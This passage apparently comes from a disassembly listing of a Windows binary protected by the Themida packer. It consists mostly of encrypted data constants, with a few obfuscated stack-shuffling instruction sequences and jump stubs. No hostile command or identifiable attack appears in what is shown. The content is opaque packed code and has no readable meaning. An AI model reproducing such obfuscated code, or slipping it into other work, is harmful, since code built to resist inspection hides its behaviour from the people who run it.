0C3D14B52h, 0B807C280h dd 15739F3Dh, 58F8832h, 84664432h, 97C6E09h, 6D355FCBh dd 363128BFh, 107FCB4Eh, 7C246468h, 31425531h, 533C3567h dd 0FD4F2D70h, 9400426Fh, 1A762DD9h, 0BE07588Dh, 1567CF3Dh dd 1A9E2232h, 156610B1h, 0A8EB7032h, 1373743Bh, 1567AD3Dh dd 0EC9A1132h, 0CBE7E89Fh, 5EBB49F6h, 1569CA64h, 7D91132h dd 4BE9222h, 0FC7B402Ah, 3B888D5h, 74394B52h, 2979D437h dd 38B66947h, 516512CEh, 0C5633516h, 3856741Fh, 605A5B6Eh dd 0DDED4452h, 0DCE77752h, 19DC5411h, 743A55E6h, 0CFE74253h dd 3E458011h, 74A50354h, 151FD95Ah, 3162AB32h, 9E00E452h dd 9E06E9C5h, 0EDCD25CBh, 156627DBh, 8E4B632h, 0A8EBEDB5h dd 137366BBh, 128F8FCBh, 2C661132h, 0EBBEA930h, 0F24BC812h dd 38175B6Dh, 353070A5h, 3D42CC31h, 4307D337h, 4A812712h dd 1A8F604Bh, 20668832h, 0C148700Ah, 27D9A838h, 34F15D6h dd 1ACDFB3Bh, 15664CB4h, 17EC2D32h, 75661132h, 156D6153h dd 0F8784432h, 5E451669h, 0BA963F2Ah, 31520323h, 9485CD61h dd 156626F1h, 11A59032h, 92668832h, 0E93A602Eh, 0CCE742F1h dd 605215FCh, 94075EB9h, 156640DEh, 3152AB32h, 5AFB9CCEh dd 756093A4h, 156641DAh, 0F4EE8332h, 943CADABh, 89F0E1F5h dd 94062529h, 0CD5696F9h, 9E697136h, 15668832h, 15664FDBh dd 3BF17432h, 0C7747067h, 56D73F09h, 0C6992553h, 15662ADBh dd 0F6FFEF32h, 6100E3D7h, 2F8FBDD5h, 0FC99DDCFh, 15661134h dd 7CF3863Ah, 0CEDFBC2Fh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 59C19CC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h dd 43965394h, 0C132DCF1h, 0BA8C096Dh, 0A8EDD871h, 458A42C3h dd 58DDAEA2h, 0C88260D5h, 48EE9F38h, 0DF07462Ch, 52B41637h dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 3508FA7h, 0D9FB57BEh dd 59CD80B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 0B232DCAAh, 168C096Ch, 133DCB2Fh, 96751336h, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 499D8D00h dd 0B8061534h, 23E4h, 90D8589h, 0E80615h, 58000000h, 0D05h dd 0E9038900h, 23E4h, 47h dup(0) dd 0F305E983h, 3CB8BA4h, 5657B6DBh, 0C2DD3032h, 4EED3849h dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 83D60BBFh dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 4C17FB23h, 25FB668Bh dd 0FDF53FD5h, 69CB5EADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73E14DE6h, 4056FFA0h, 0F305E983h dd 8DDB8BA4h, 1C8832BDh, 0C38D8D06h, 0B8061D0Eh, 32156644h dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0FF67549h, 586h, 50F56000h dd 12E9615Eh, 0C2000000h, 0B07645E2h, 581A33Ch, 6AFF4A4Bh dd 0CF3B8A6Eh, 0C2895287h, 0FC5A5852h, 8F5BD83h, 75000615h dd 0ADBD8309h, 61503h, 53501974h, 11B8C08Bh, 89000004h dd 1502A185h, 59D8D06h, 0FF0617ABh, 83585BD3h, 1503ADBDh dd 17740006h, 11B85350h, 89000004h, 1502A185h, 0A69D8D06h dd 0FF0617A7h, 0E9585BD3h, 13h, 509D0A59h, 8DE23AA6h, 49403592h dd 0E745DDEEh, 0F558FA36h, 242C8150h, 598B061Eh, 1EBF5758h dd 1598B06h, 8F0F5FF8h, 15h, 10E9h, 421BFA00h, 4B9EDEA2h dd 0C6163C55h, 5534F5ECh, 8D8DF82Fh, 61D1304h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 27C35141h, 0FEFA049Fh dd 1DF1958Bh, 8D890615h, 6152721h, 85C7FA8Bh, 61504CDh dd 614Ch, 7EBCBA66h, 111585C7h, 615h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0FFFCB2C3h, 237D6A2Ch, 1501F995h, 49B5FF06h, 6A06152Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 6DC5C356h, 3B39FD1Fh, 79E9F754h, 0FFD78B66h dd 1502C995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0D25029A6h, 8529C3E1h, 6152F0Dh dd 95FF006Ah, 6152E21h, 2CEBC08Bh, 0CB1F4BF8h, 318F2495h dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h, 0FA788A6Dh dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 12E8h, 7FE72400h dd 0CAD34110h, 12624605h, 697C6595h, 0E8132C76h, 0Eh, 90C5CA93h dd 958B36C6h, 0DA0E6764h, 0BF0F8D3Ch, 8B5B5FFEh, 1527CD85h dd 61C38106h, 60000073h, 0BDBB70Fh, 1505159Dh, 0C9336106h dd 9E953h, 0D24A0000h, 2A1CBD03h, 58573356h, 0F0B348Bh dd 0C681C0B7h, 3D93421h, 8860Fh, 89570000h, 150C099Dh dd 0EE815806h, 5D67669Ah, 3C1BD8Bh, 0F6810615h, 155BC90Eh dd 895680B6h, 1525958Dh, 0B048F06h, 0BB9B589h, 0BA660615h dd 0E983E707h, 81F94903h, 0FF8D64F9h, 12850FFFh, 8B000000h dd 152251BDh, 18E906h, 536A0000h, 0B9719414h, 75BD8B70h dd 0E9061534h, 0FFFFFF90h, 0D63D77DFh, 37E982F3h, 43000000h dd 4DAC17h, 0Ch dup(0) dd 79E90000h, 68000004h, 61D1569h, 0F86A05E9h, 15EE68FFh dd 0FBE9061Dh, 68FFF869h, 61D16FFh, 0F869F1E9h, 0B82886FFh dd 73E346DDh, 0C0308DA2h, 0A7AFE35h, 0C636B46Bh, 8033782Fh dd 2C039202h, 65BA5BCBh, 31FE9707h, 409362D2h, 0E662A71Eh dd 8809169Bh, 143D08D6h, 0D7169BE6h, 44DF8C6h, 0E7169BE6h dd 240034D6h, 536056C6h, 69F580F0h, 0F289D073h, 0A3741086h dd 0C2DD1C7h, 86F21039h, 79E94E10h, 5D9F6C7h, 1B3E05D7h dd 0E21086F2h, 0F22D74D1h, 0D76E1086h, 1086F2B2h, 0E7B86839h dd 62B3103h, 7CFF34A4h, 55350A0Ch, 9C1B9A66h, 24122316h dd 93DB7CA1h, 1F8E0916h, 0BD42BF2Ah, 2BC459Dh, 0B2610000h dd 0C0E1955Ch, 86F2DC05h, 0A18E9F10h, 0FB22269Dh, 7A4B169Bh dd 526521A4h, 4EF20BF9h, 90F3401Eh, 51F44A20h, 15E67989h dd 0A973A374h, 0D2B82888h, 0D6E818E8h, 0BA0A001h, 0CBBF7920h dd 0ABCBBA89h, 2F281F13h, 0BA17E988h, 5B951B1h, 22D9D18h dd 474F73Ch, 0D141C271h, 4C7F2D4Ch, 0C44036AEh, 2C6h, 34C1318Dh dd 6B0A7AFFh, 2CC939B4h, 740171F7h, 2ACB3BBFh, 0FF833E6Dh dd 0B639E68Fh, 480AF46h, 0D1320194h, 1B439461h, 9BE761A8h dd 0B18B0C16h, 3BBF0BABh, 0F2266BDAh, 0F4C51086h, 194003DBh dd 0E41086F2h, 63E2FCD3h, 16A40636h, 0C9EAF4C5h, 0F7E5F969h dd 9BE6054Ch, 5FE6E816h, 169BE63Ah, 2BDFF0C1h, 0FF6FD360h dd 0E6123CB7h, 0E546169Bh, 0E698C184h, 5263169Bh, 287BA07Dh dd 0CAECB7D4h, 2416Ah, 44B41200h, 8FFF82B1h, 4CBC39E6h dd 86F67AA9h, 52C240EFh, 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h dd 0DD522393h, 0BC07EE5Eh, 0E7EE3392h, 0C8D169Bh, 0DB0BAB30h dd 4003D903h, 1086F219h, 8C37D3E4h, 16A4064Dh, 9C171F30h dd 169BE671h, 78FB38FEh, 88376208h, 0C5323CC1h, 174C49Dh dd 4FD80000h, 7D6DDD62h, 77BF2F8Ch, 0FC99096Ah, 3CBE0AAEh dd 68DBE3CCh, 169BFB30h, 4BAAECBDh, 1693FB02h, 0B09944EBh dd 9DBD274Dh, 20D3h, 0BABE700h, 0F04003DBh, 8D169BF5h dd 0D2FB7ABCh, 9B1693F1h, 0FD80C9F4h, 839DBD1Ch, 0C7h dd 57C72497h, 80F0525Fh, 0AE1E9D96h, 88F87B68h, 0F15061EDh dd 7BB89581h, 0B38C8AFAh, 0F783ECD7h, 16951086h, 17E7CFA6h dd 0AC05D7E7h, 3059EC4Dh, 0BB1086F7h, 0FCD1C5EAh, 9F61AF0Eh dd 0F18169Eh, 62EC8E5Dh, 567B4AEAh, 15169124h, 87E82B04h dd 0D263817h, 0CB583DADh, 0EF26F767h, 6CB7D965h, 130EA4Ah dd 0A3230000h, 6CCD6233h, 0AB0A19FCh, 63C55A3Bh, 0AD0D22F3h dd 4843583Dh, 9065D555h, 0C9AC1CA3h, 8B6ADA5Ah, 0CEA71794h dd 276AD905h, 0C6169BE4h, 624FF745h, 72486FDFh, 0C86A9BD0h dd 0A22011F9h, 0E5F76332h, 86073B5Eh, 58D5C210h, 0FED1AEE8h dd 109C1F0Ch, 876E41B1h, 0E72A99C3h, 86108607h, 245DD5B5h dd 47B73BC7h, 0D0F5864Fh, 627FCBB4h, 825C624Dh, 86B49EC3h dd 9E4C5D10h, 90008370h, 0EC3590CEh, 21086B4h, 34090D7Dh dd 0C4CFBB8Ch, 4C1242F6h, 9C07B679h, 0DAE4B516h, 0CE959D9h dd 936464A9h, 62B0A516h, 7F72CBFAh, 0AB84F475h, 0ED9D0D68h dd 0A64FBF3Ch, 8D89F979h, 7125h, 0BAB0100h, 154003DBh dd 0E816A406h, 6ED507D7h, 169BE62Bh, 0D343A5D2h, 13200EFCh dd 7EB540B0h, 2A898DFDh, 5A251472h, 76517CE3h, 6EF085F5h dd 9377E745h, 11B41596h, 4148D1C8h, 4EB1E2B3h, 0C8E7D8DEh dd 67DE00CEh, 4148D622h, 402F960h, 0FDA3D30Ah, 6BCD3E2Ch dd 0AEE858DFh, 0BDB8FED1h, 566614Ch, 0D0330095h, 3CE3660h dd 0EA000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h db 7Ah, 3Ch, 78h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0F5Ch mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 61D1462h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push edi mov edi, ebp push edi pop dword ptr [ecx+8] pop edi push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- dw 0D398h dd 1D1854B8h, 0FFC50306h, 2EBC4BE0h, 73DBE11Ch, 0D2C6FA50h dd 7F4EA91Ah, 0E9198D77h, 0FC07C73Fh, 0BFD4FA4Ch, 6FB85F1Ah dd 0DB6E987Eh, 1E454427h, 67B13467h, 4F8FDA70h, 353DBA52h dd 41BB9C2Fh, 3D45C872h, 0A51C8D6Dh, 9B30F02Ah, 8D3D342Eh dd 7CB3E618h, 0EDD6FD11h, 296A7A4Bh, 0D189EE59h, 230B486Dh dd 0AD7D6C6Ch, 0D6986500h, 89E5AD0Ch, 1CB8985Ch, 0EDE95Eh db 2 dup(0) word_5FB366 dw 6660h ; DATA XREF: Themida_:0057C690o dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 615293Dh, 0F00FE83h dd 2285h, 0C585C600h, 45061509h, 72696968h, 85B5FF8Eh dd 8D061516h, 1872BC85h, 89D0FF06h, 15266985h, 80F08B06h dd 850FE93Eh, 31h, 9620858Dh, 0D0FF061Ah, 0B8DBD8Bh, 0C7810615h dd 1184h, 293DB58Bh, 0F7870615h, 8B9h, 8BA4F300h, 15293DB5h dd 13858D06h, 0FF0618BFh, 0FDB58BD0h, 8306150Dh, 850F00FEh dd 22h, 9C585C6h, 68540615h, 0FF4EBEF4h, 1685B5FFh, 858D0615h dd 61872BCh, 8589D0FFh, 6150DFDh, 3E80F08Bh, 3A850FE9h dd 8B000000h, 150DFDB5h, 20858D06h, 0FF061A96h, 8DBD8BD0h dd 8106150Bh, 1184C7h, 8C78300h, 0DFDB58Bh, 0F7870615h dd 8B9h, 8BA4F300h, 150DFDB5h, 13858D06h, 0FF0618BFh, 8DC361D0h dd 1D193785h, 61858906h, 8D06152Ch, 1D1B098Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 65698DE3h, 52FFC2D8h, 27218D89h, 0BF0F0615h, 0CD85C7C3h dd 0BC061504h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1C44C356h, 82A2BEE3h dd 0BF2CA78Ah, 67576D95h, 2A36BA66h, 111585C7h, 615h, 81660000h dd 0FF2739E6h, 152E0DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0F4104C39h dd 8D260B08h, 2D8D890Eh, 0FF061517h, 1502C995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E9D1AEDAh, 0EC17BB43h, 0FF006A74h, 152E2195h, 0EBC08B06h dd 53946E7Ch, 0B216101Eh, 0C68B2923h, 4CFD58CFh, 3CA38994h dd 342E5424h, 0BCD0CA34h, 0FB733332h, 2125330Ch, 0F3299B59h dd 0F18769DFh, 0D5954214h, 0E39300F7h, 7081F4E7h, 0E04FDCB6h dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 0E596FFE6h, 186BE7E0h dd 0A3087C4Eh, 0D0168EEDh, 0A99DADE8h, 8713F2CEh, 39A79DCBh dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 67846EBh, 0A1506E10h dd 0CE50B568h, 30E97Bh, 8F060000h, 74521D12h, 6C6C416Ch dd 7461636Fh, 61654865h, 70h, 14h, 5 dup(0) dd 30E90000h, 68000012h, 61D1E08h, 0F86285E9h, 1F1A68FFh dd 7BE9061Dh, 68FFF862h, 61D216Dh, 0F86271E9h, 228468FFh dd 67E9061Dh, 68FFF862h, 61D25B2h, 0F8625DE9h, 268068FFh dd 53E9061Dh, 68FFF862h, 61D26BFh, 0F86249E9h, 27E568FFh dd 3FE9061Dh, 68FFF862h, 61D28A4h, 0F86235E9h, 28F968FFh dd 2BE9061Dh, 68FFF862h, 61D2AF6h, 0F86221E9h, 2C0668FFh dd 17E9061Dh, 60FFF862h, 909F76E6h, 0FF34C131h, 0B8670E7Eh dd 0F62DC838h, 3A710474h, 4CBC3E71h, 85F57AA9h, 51C143F0h dd 9C0C6FC4h, 4500CEF9h, 169BEE1Ch, 241E1EDFh, 525F57C7h dd 805789F1h, 8F1D12F6h, 0BB94BB2Bh, 9E06667Bh, 0E0E14640h dd 0EA2C03C0h, 381D3F0Bh, 47BD0070h, 2267DEE2h, 0C91086E9h dd 38A712F8h, 0A2BC2C8Fh, 7866D5B5h, 2F96771Eh, 1086BEEAh dd 8FAF8091h, 86BEED34h, 0CBBF9010h, 9F0F73C0h, 5ACA29F6h dd 83E4475Ch, 86BE99C0h, 0E151D710h, 5768D8B5h, 690D9D78h dd 6A9E2539h, 0F3169BB7h, 94171C22h, 8401F224h, 0E54F3B14h dd 93A73F5Eh, 0E8F6C816h, 93A7345Dh, 4E6B716h, 0C227228Dh dd 4A9DBD72h, 34h, 0BF0BAB5Eh, 0D7E7C838h, 9BF5CC6Ch, 28847116h dd 0AE817EB8h, 0F1C00D68h, 97161693h, 8202EF27h, 78212412h dd 852C9E45h, 1D8AEF5Ah, 2C129DBDh, 26000001h, 0B65FC724h dd 0EC3435EAh, 0CD14AF8Fh, 0B01086E3h, 9886B09Fh, 7B552CBFh dd 805EE247h, 862D9CC5h, 9C4E5F10h, 9B9B0B6Fh, 81B52586h dd 0D2A31370h, 0BAB34F88h, 785FCF2Eh, 0FDC10FE4h, 86E90346h dd 31D9EA10h, 86EC6892h, 8FFF7C10h, 4ABA39E6h, 0EA1ADE4Ch dd 25A971D4h, 4B54169Ch, 8F369398h, 16936D4Ah, 9E576031h dd 0C69A3D92h, 6E0CD709h, 1F876E41h, 220F2F5Fh, 45A30A0h dd 8B0EFE41h, 35907D10h, 0D3FCD1C5h, 380BD10Bh, 1CABCE11h dd 0E78ED3DCh, 0D7704C2Dh, 0A12112F8h, 28271740h, 0F159B8C6h dd 0AB970D54h, 0F0DFF01Ch, 0F363C5EEh, 43A77C17h, 70D1E2h dd 0AB977CA5h, 0AD12FF1Ch, 603D123Dh, 0B1C3DCC1h, 4C3094A2h dd 2C00000Fh, 9C9362D2h, 5BC8AD1Dh, 948B6ADAh, 62D1A414h dd 6A570E0h, 38A80A85h, 0F161C65Dh, 3DAD0F24h, 0F868CB58h dd 21A4AA1Dh, 169BECF8h, 243A0283h, 2B8856C6h, 35015EC6h dd 0ED3348A0h, 5703D4C2h, 350F5687h, 8CAE89A6h, 0BCE01DA3h dd 5A048F7Bh, 3066D659h, 0FD7EAB5Fh, 0AB44E88Dh, 4003DB0Bh dd 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh, 9DBD1CFDh dd 0E083h, 0C7249700h, 0F0525F57h, 6BC89680h, 0C9F49606h dd 1086F7A7h, 2BCA3AB9h, 0F0777F4h, 99A5D5A9h, 0E72A99C3h dd 861086F7h, 22E6D5B5h, 0CB169C00h, 0EB173A09h, 0C5D61693h dd 3B0AD4EAh, 1693EB16h, 930DCCD5h, 0B6D03FA0h, 14A2F199h dd 92A3464h, 2B9B1EAAh, 0F93D12EBh, 75D06604h, 108B74A5h dd 0D040BDF6h, 9D01E9E6h, 0FE81B28Ch, 845ADC8Eh, 0DA69CA2Fh dd 1CAB66B7h, 4C4A6536h, 4A65D557h, 9F0F73A0h, 3DC929F6h dd 724B4BBBh, 0AE1BC05Dh, 2A4CB1C3h, 0E3ACAh, 50C03E00h dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0EDCA0FB6h dd 30B1169Bh, 5EC6240Ch, 9BCC34DDh, 680D2212h, 51AC38BBh dd 0DBD8B5E1h, 2DC8E757h, 57C724FFh, 2587D5Fh, 342BAB18h dd 57565E82h, 12F59380h, 0AC38BB78h, 0EEF0DF4Fh, 0C1F565C5h dd 724F1ECCh, 1086332Bh, 0A74EBE3Dh, 2B9AFB78h, 108633E6h dd 9B9BB485h, 81B52586h, 0E7E0CFC6h, 878F884h, 0A70C4E27h dd 0C101D646h, 6E2FECFBh, 94199476h, 1C97A851h, 0ADh, 31A12112h dd 4432A526h, 0E783872Ah, 0BF0BAB33h, 0DCE2CD3Dh, 0DF7FD502h dd 93C00A9Eh, 7BCCCF7h, 7041169Bh, 0F79EBF46h, 0B0671690h dd 22E14CFDh, 30819DBEh, 968664D4h, 71h, 0F296B672h, 0BCF51086h dd 751BCF3Fh, 0F6CD91C1h, 169C0A3Eh, 0C3876E3Fh, 0EBE72A99h dd 0C4861693h, 93EBD801h, 0BD92A316h, 52DE5CCDh, 65517EEEh dd 50D723D3h, 54EFCFE0h, 108EE28Ch, 5ED5A071h, 66286EDEh dd 0DBA0DC71h, 0D3ACEA5Ah, 0D5A0D804h, 8BBB7B35h, 2988A9B3h dd 0EA807DB9h, 0B69CA3BBh, 4D11221Ah, 201686E4h, 94303B2Fh dd 935h, 0E30BABA8h, 1225F386h, 98A68928h, 9BA8352Dh, 5FDDD616h dd 8A9BFBEFh, 93E4298Ch, 26911693h, 7F2792B7h, 0DAD9DBDh dd 89000000h, 86F297B6h, 0CC3FE510h, 5BFFFFFBh, 93B68D4Fh dd 5A1086F2h, 47F7A149h, 0FD52821Fh, 330C0A7Ah, 26F1AB24h dd 567956C6h, 0D585BD88h, 0F1E6169Ch, 55DFD1FCh, 0A1E85B73h dd 4C1693BCh, 2B6547Bh, 5F7E0531h, 281693BCh, 9E0B3E71h dd 409DBD6Ch, 0F62090F3h, 0F2D17119h, 0E5000004h, 0B1F2864Fh dd 0A4BD3EB3h, 86B0F821h, 9DB28310h, 5E57CAEDh, 0D5455780h dd 2F8AB664h, 86C05376h, 61091A10h, 0B63B8737h, 587F5046h dd 0A6D98BD4h, 4C123D57h, 9B9B9179h, 33CBDC16h, 59496E90h dd 53509BCh, 81328A39h, 6233B946h, 318E7B5Ch, 50BAD51Dh dd 4AEE7CBAh, 89EF441Ah, 4A201D19h, 20D051F4h, 9AABA370h dd 9C0C6FC4h, 59C92AF9h, 0E98C09C4h, 0E0645201h, 0BE7h dd 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h dd 9BD3759Ch, 0C577F816h, 0D7488D4Fh, 0E746F634h, 0E4A3E65Fh dd 794A1086h, 0A545B53Ah, 0F77B0764h, 3E5BAF8Fh, 2E01D698h dd 0F5975609h, 725D4046h, 0DA595A44h, 0A8F1546Ah, 5310869Fh dd 4EF2A842h, 9F73962Dh, 29FA1086h, 1F1787EAh, 0F43D012Eh dd 1888E975h, 8EF2FF37h, 827181Eh, 7D69DC62h, 169C77h dd 0A2220F2Fh, 70CC6332h, 6AAF1600h, 16169367h, 169297F7h dd 2684D070h, 0FEC599B6h, 108E5E12h, 0DD4DA809h, 7EB8892Dh dd 0AC5DD6F7h, 949D9F1Ch, 916EA818h, 3A0FBEF9h, 0A3D2C8AFh dd 1335h, 0BAB5100h, 404003DBh, 1D169BFCh, 29AA0A0Ch, 7E000000h dd 9EE30BABh, 0FE861D37h, 0BB542025h, 0B7372E9Ch, 3AF51CA7h dd 0A7781086h, 9F0FB688h, 0DE169B3Ah, 0B6E050B1h, 0BCC0F6D9h dd 0C657C724h, 0BDF14209h, 0D0E46056h, 0A800000Ah, 0E837DE4Eh dd 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch, 0D444A619h dd 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h, 169BD094h dd 4FA69657h, 0A894ED86h, 0C0FFD848h, 7D33D700h, 0A0106DB9h dd 8414AF8Fh, 0F9169C36h, 76F5EE28h, 77FB3806h, 41B10C07h dd 5E80CAA9h, 93A5A2E7h, 5F784916h, 2F16B297h, 7924C65Eh dd 31C747D5h, 34C1F192h, 0BC82B286h, 1B858C9Bh, 0E1D2ED53h dd 0C9C6F060h, 34A81B21h, 393BFB20h, 0B4352E68h, 3509B144h dd 0B8248CE9h, 72893D30h, 2FB3B14h, 0A6B2112Dh, 0D725EE70h dd 2875D0C6h, 0D5290C67h, 53D6735Ah, 0D9D132B3h, 142h dd 0E30BABADh, 6FE52FFh, 31B89FC4h, 80F77CABh, 9FBD81AEh dd 74BF2F92h, 0B6E585F5h, 169C27DAh, 8FA492A3h, 4AD9BC2Ch dd 4F3D79E9h, 0C382E362h, 1693B79Eh, 33634C5Dh, 604FBF3Eh dd 69731B8Ah, 66531C7h, 0AAB7A096h, 0A489098Ah, 2393171Ch dd 0B82792F3h, 0CFFE652Bh, 330B7BF8h, 1FD49E22h, 0AE0B779h dd 0C737B46Bh, 64A874CFh, 40C01AB2h, 6ACDE6D0h, 0DBB4D202h dd 0D7F84FE9h, 0F5E84FDFh dd 820346FDh, 0D9EA442Dh, 7766CFF6h, 0F283F350h, 484EBE3Dh dd 0CFEF1FE2h, 2D74CF0Dh, 0D0442D82h, 9B00BFFh, 34442D82h dd 4076E647h, 795E604Fh, 55746239h, 0FB9A707Dh, 3DB0BABh dd 374D1440h, 0DED8E942h, 5ADA66C5h, 0FCD3ACEAh, 0FE6ED1E2h dd 4823C7B8h, 0DC4CAD06h, 0E7EFD2Eh, 0AD1CAD08h, 0F5A44A46h dd 0E7EFDCAh, 75E94A67h, 0C182DE1Bh, 0CC2F0491h, 0CF31825Ch dd 281AB5Fh, 59DA0F0Fh, 0BF08B73Eh, 0C1F2CC3Ch, 5736D444h dd 5EDF6BC8h, 63D5C1EEh, 815B6393h, 0AB5FCF30h, 0C02D1410h dd 86586943h, 92A4ED58h, 7E474BF7h, 96FE56AFh, 17200FF4h dd 0F49411F5h, 9AF99153h, 6716h, 0BABF200h, 0F2365BEAh dd 0E4B51086h, 4EBE5D3h, 0CCE350CAh, 0A15753F2h, 9AC4169Bh dd 9395E62Bh, 1D988516h, 0B8E882ADh, 3FC2AFE7h, 30448AD7h dd 93A34C95h, 391E2F16h, 4669C63Ah, 2186ABAFh, 5A7CD9B1h dd 0E48552D4h, 0D2F7CE6Fh, 9916939Dh, 3DC1AF88h, 64D45B58h dd 3AD5D32h, 8B3A0434h, 1693384Eh, 14181C2Dh, 0BE57C724h dd 461848F8h, 0E5533F18h, 436BA2D2h, 6344FCA7h, 3809169Ch dd 23AF0D26h, 43B3119Dh, 7A557A53h, 0B828849Bh, 1EA3907Eh dd 0F39768AEh, 0F5C9F9BDh, 8988564Eh, 106CC510h, 98B72784h dd 0E1FDCEF2h, 0E98CC4F4h, 0C8A24903h, 74A6E74Eh, 7F3F1CADh dd 0BF426F4Fh, 5A5CCC33h, 734C4A65h, 12FEC597h, 6B1AB17Dh dd 0B4D95C5Ah, 4102B962h, 44B4367Bh, 862E2773h, 0C9A12308h dd 0FF6ADFCEh, 85A9E719h, 1Ch, 45864FA1h, 2C726405h, 65197F6Bh dd 2E9A2935h, 2F169B0Dh, 169C181Eh, 70000000h, 3DB0BABh dd 9BF24C40h, 85E41116h, 240B7BF9h, 4321DF2h, 0DF624FF8h dd 2D8E7B6Fh, 4219E0BDh, 2C4ABDF1h, 7A2C8h, 0E858D600h dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h, 0D792B78Eh dd 9859169Bh, 935EB2A4h, 0B1ABB3E3h, 20A30480h, 1086F2F9h dd 9A9CB384h, 72D6C5A5h, 0FB169BFBh, 0C7CF839h, 93F87099h dd 8A39FB16h, 1693F847h, 153A1526h, 0C6573A89h, 7010D4D8h dd 6B597E40h, 6CDC5EECh, 904FA4Bh, 0A068DB61h, 4DDEC7B0h dd 5C73E360h, 0F30D05Ah, 0F63C6DB4h, 103F10DEh, 9F23104Eh dd 7416E72Fh, 0ECE35C49h, 92F21FD8h, 181BF422h, 14E92D9Dh dd 0AD0E233Bh, 0B110213Dh, 92785541h, 0D95A5703h, 8E502D69h dd 0FB92B7h, 0A24859C4h, 0DBA21271h, 0E96B3912h, 0D4E35F55h dd 0A4000006h, 0E43BDA4Ah, 0B3801585h, 1C13E252h, 0DA492C9Ch dd 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch, 80F053E0h dd 49FCE2F5h, 169BD400h, 24122AEBh, 67C657C7h, 74BDF144h dd 6950282h, 63E30000h, 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh dd 6DCD6233h, 88318FDh, 0D0A51595h, 896CDC63h, 0CBAA1A9Ah dd 8E67D754h, 67AA1945h, 6169BD4h, 0C724B785h, 6649B93Bh dd 0C6F6CA30h, 0DE74DF8h, 0F2416A4h, 7F83EAEh, 0D2713363h dd 169BE98Fh, 51C1416Eh, 0BCE5607Eh, 3F169BE9h, 6B4416Eh dd 6FB21132h, 0E169BE9h, 794C123Dh, 10810481h, 38BBFBCCh dd 1CB4BB15h, 4302DCE2h, 1CB4BB1Eh, 731ECCDDh, 2F8DA64Ch dd 0BBD2F7CEh, 88991CB4h, 65C8C3A7h, 0EBA3DA67h, 0C2h dd 0D31DF4E1h, 6A25CBC0h, 9284734Dh, 26C46C2Dh, 945DB2EEh dd 0B4AAB4E4h, 0F2F61BAAh, 0A4751086h, 0FB73D7C6h, 29FA169Bh dd 30A01C15h, 1B610906h, 9B0E1BA8h, 2C5C1CD9h, 86E74C12h dd 3B2F2016h, 80064C60h, 47A4D1C3h, 0CDE6F8D7h, 0A6BBFB6Bh dd 12F8D747h, 0AE1D3A24h, 281B3D29h, 0EB2E882h, 0E2CD3DC2h dd 0E454D7DCh, 94953006h, 0E7CDAEB1h, 9EB60FDEh, 634C60D5h dd 65D5565Bh, 0B020A390h, 0A71784EDh, 0D9595BDCh, 56Fh dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh dd 9BD5DD04h, 5DDFA016h, 0BAB5h, 8D4FD100h, 0EF56C624h dd 